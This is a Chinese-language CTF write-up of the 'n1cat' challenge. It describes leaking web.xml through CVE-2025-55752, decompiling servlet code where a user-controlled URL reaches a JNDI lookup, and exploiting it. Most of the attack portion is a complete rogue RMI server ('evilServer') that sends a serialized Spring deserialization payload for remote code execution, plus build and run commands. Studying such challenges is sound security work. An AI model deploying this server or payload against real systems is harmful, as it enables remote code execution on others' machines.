n1cat复现

前言

n1很迅速的给出了复现环境了,cool~

学习

这道题首先利用CVE-2025-55752,泄露文件web.xml再进一步读两个class文件,我们可以拿到两个class,反编译之后即可读取源码(这里jdk17以往的反编译工具没用了,直接上网站在线反编译)
如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
package com.example.demo;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
name = "welcomeServlet",
value = {"/"}
)
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (this.shouldDelegate(pathWithinApp)) {
this.delegateToDefaultResource(pathWithinApp, request, response);
} else {
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!this.isBlank(urlParam)) {
composed.put("url", urlParam);
}

jsonPayload = composed.toString();
}

if (this.isBlank(jsonPayload)) {
response.sendRedirect(this.defaultRedirectTarget(request));
} else {
try {
User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (this.isBlank(name) || this.isBlank(word)) {
response.sendRedirect(this.defaultRedirectTarget(request));
return;
}

this.renderResponse(response, name, word, url);
} catch (JsonProcessingException var14) {
response.sendError(400, "Invalid JSON payload");
} catch (RuntimeException var15) {
response.sendError(400, "Invalid user data");
}

}
}
}

private boolean shouldDelegate(String pathWithinApp) {
return pathWithinApp != null && !pathWithinApp.isEmpty() && !"/".equals(pathWithinApp);
}

private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = this.getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}

}

private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();

try {
out.println("<html><body>");
String var10001 = this.escapeHtml(name);
out.println("<h1>" + var10001 + "</h1>");
var10001 = this.escapeHtml(word);
out.println("<p>" + var10001 + "</p>");
if (!this.isBlank(url)) {
var10001 = this.escapeHtml(url);
out.println("<p>URL: " + var10001 + "</p>");
}

out.println("</body></html>");
} catch (Throwable var9) {
if (out != null) {
try {
out.close();
} catch (Throwable var8) {
var9.addSuppressed(var8);
}
}

throw var9;
}

if (out != null) {
out.close();
}

}

private String escapeHtml(String input) {
return input == null ? "" : input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\"", "&quot;").replace("'", "&#x27;");
}

private String defaultRedirectTarget(HttpServletRequest request) {
String var10000 = request.getContextPath();
return var10000 + "/?name=" + this.urlEncode("guest") + "&word=" + this.urlEncode("welcome");
}

private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}

private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class User {
private String name;
private String word;
private String url;

public String getName() {
System.out.println(this.name);
return this.name;
}

public String getWord() {
System.out.println(this.word);
return this.word;
}

public void setWord(String password) {
this.word = password;
}

public void setName(String name) throws NamingException {
this.name = name;
}

public String getUrl() {
System.out.println(this.url);
return this.url;
}

public void setUrl(String url) {
try {
(new InitialContext()).lookup(url);
} catch (NamingException var3) {
throw new RuntimeException(var3);
}
}
}

这里提供了lookup参数可控,这里明显是打jndi注入,但是,首先,该环境估计没啥依赖,高版本jdk也不允许jndi远程加载类,打反序列化的话,必须要找到一条原生链,即jdk高版本的spring原生链,此前已经进行分析,本次以远程payload如何发过来为主

环境搭建

docker给了直接搭就行,--net=host即可(本机运行也可,走完会试试吧想调调看)
拿到环境

本地的jndi服务也起一个在5000端口

直接打rmi://127.0.0.1:5000看是否成功执行命令

success~
友情提示,搭server时,要jvm配置

1
2
3
4
5
6
7
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/java.io=ALL-UNNAMED
--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
--add-opens
java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
--add-opens=java.base/java.lang.reflect=ALL-UNNAMED

learn

看一下RMI服务端的代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import javax.net.ServerSocketFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class evilServer implements Runnable {
public static void main(String[] args) {
//before you start it, you should set vm options:"--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED"
evilServer.start();
}
private static final Logger log = LoggerFactory.getLogger(evilServer.class);
public String ip;
public int port;
private ServerSocket ss;
private final Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private static evilServer serverInstance;

public evilServer(String ip, int port) {
try {
this.ip = ip;
this.port = port;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} catch (Exception e) {
e.printStackTrace();
}

}

public static synchronized void start() {
serverInstance = new evilServer("0.0.0.0", 5000);
Thread serverThread = new Thread(serverInstance);
serverThread.start();
log.warn("[RMI Server] is already running.");
}

public static synchronized void stop() {
if (serverInstance != null) {
serverInstance.exit = true;

try {
serverInstance.ss.close();
} catch (IOException e) {
e.printStackTrace();
}

serverInstance = null;
log.info("[RMI Server] stopped.");
}

}

public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
} else {
log.info("[RMI Server] Waiting for connection");
synchronized(this.waitLock) {
this.waitLock.wait((long)i);
}

return this.hadConnection;
}
} catch (InterruptedException var5) {
return false;
}
}

public void close() {
this.exit = true;

try {
this.ss.close();
} catch (IOException var4) {
}

synchronized(this.waitLock) {
this.waitLock.notify();
}
}

public void run() {
log.info("[RMI Server] Listening on {}:{}", "127.0.0.1", "5000");

try {
Socket s = null;

try {
while(!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
log.info("[RMI Server] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream(is));
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
Throwable var6 = null;

try {
int magic = in.readInt();
short version = in.readShort();
if (magic == 1246907721 && version == 2) {
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
Throwable var12 = null;

try {
byte protocol = in.readByte();
switch (protocol) {
case 75:
out.writeByte(78);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}

out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case 76:
this.doMessage(s, in, out);
bufOut.flush();
out.flush();
break;
case 77:
default:
log.info("[RMI Server] Unsupported protocol");
s.close();
}
} catch (Throwable var88) {
var12 = var88;
throw var88;
} finally {
if (out != null) {
if (var12 != null) {
try {
out.close();
} catch (Throwable var87) {
var12.addSuppressed(var87);
}
} else {
out.close();
}
}

}
} else {
s.close();
}
} catch (Throwable var90) {
var6 = var90;
throw var90;
} finally {
if (in != null) {
if (var6 != null) {
try {
in.close();
} catch (Throwable var86) {
var6.addSuppressed(var86);
}
} else {
in.close();
}
}

}
} catch (InterruptedException var92) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
log.info("[RMI Server] Closing connection");
s.close();
}
}

return;
} finally {
if (s != null) {
s.close();
}

if (this.ss != null) {
this.ss.close();
}

}
} catch (SocketException var96) {
} catch (Exception e) {
e.printStackTrace(System.err);
}

}

private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
log.info("[RMI Server] Reading message...");
int op = in.read();
switch (op) {
case 80:
this.doCall(s, in, out);
break;
case 81:
case 83:
default:
throw new IOException("unknown transport op " + op);
case 82:
out.writeByte(83);
break;
case 84:
UID.read(in);
}

s.close();
}

private void doCall(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
} else {
throw new IOException("Not allowed to read object");
}
}
};

ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException("unable to read objID", e);
}

if (read.hashCode() == 2) {
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (this.handleRMI(s, ois, out)) {
this.hadConnection = true;
synchronized(this.waitLock) {
this.waitLock.notifyAll();
return;
}
}

s.close();
}
}
private boolean handleRMI(Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt();
ois.readLong();
if (method != 2) {
return false;
} else {
String object = (String)ois.readObject();
out.writeByte(81);

Object obj;
try (ObjectOutputStream oos = new MarshalOutputStream(out, "evil")) {
oos.writeByte(1);
(new UID()).write(oos);
String path = "/" + object;
log.info("[RMI Server] Send payloadData for " + path);
new Object();
obj = PayloadGenerator.getPayload();//此处传入payload
oos.writeObject(obj);
oos.flush();
out.flush();
return true;
}
}
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt();
ois.readLong();
}
static final class MarshalOutputStream extends ObjectOutputStream {
private String sendUrl;

public MarshalOutputStream(OutputStream out, String u) throws IOException {
super(out);
this.sendUrl = u;
}

MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}

protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
this.writeObject(this.sendUrl);
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
this.writeObject((Object)null);
} else {
URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs();
String cb = "";

for(URL u : us) {
cb = cb + u.toString();
}

this.writeObject(cb);
}

}
protected void annotateProxyClass(Class<?> cl) throws IOException {
this.annotateClass(cl);
}
}
}

这里就是利用RMI的反序列化入口打的,详细可以看我之前写的简单过一下
客户端会直接把传过来的payload进行反序列化,启动spring原生链子,实现RCE
如果需要vps的话这里在pom.xml加上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
<configuration>
<fork>true</fork>
<compilerArgs>
<arg>--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED</arg>
<arg>--add-opens=java.base/sun.nio.ch=ALL-UNNAMED</arg>
<arg>--add-opens=java.base/java.lang=ALL-UNNAMED</arg>
<arg>--add-opens=java.base/java.io=ALL-UNNAMED</arg>
<arg>--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED</arg>
<arg>--add-opens=java.base/java.lang.reflect=ALL-UNNAMED</arg>
</compilerArgs>
</configuration>
</plugin>
</plugins>
</build>

mvn dependency:copy-dependencies -DincludeScope=runtime即可打包
再运行即可java -cp "target/jdk17-1.0-SNAPSHOT.jar:target/dependency/*" evilServer

结语

以后碰到这类lookup可控可以这样打反序列化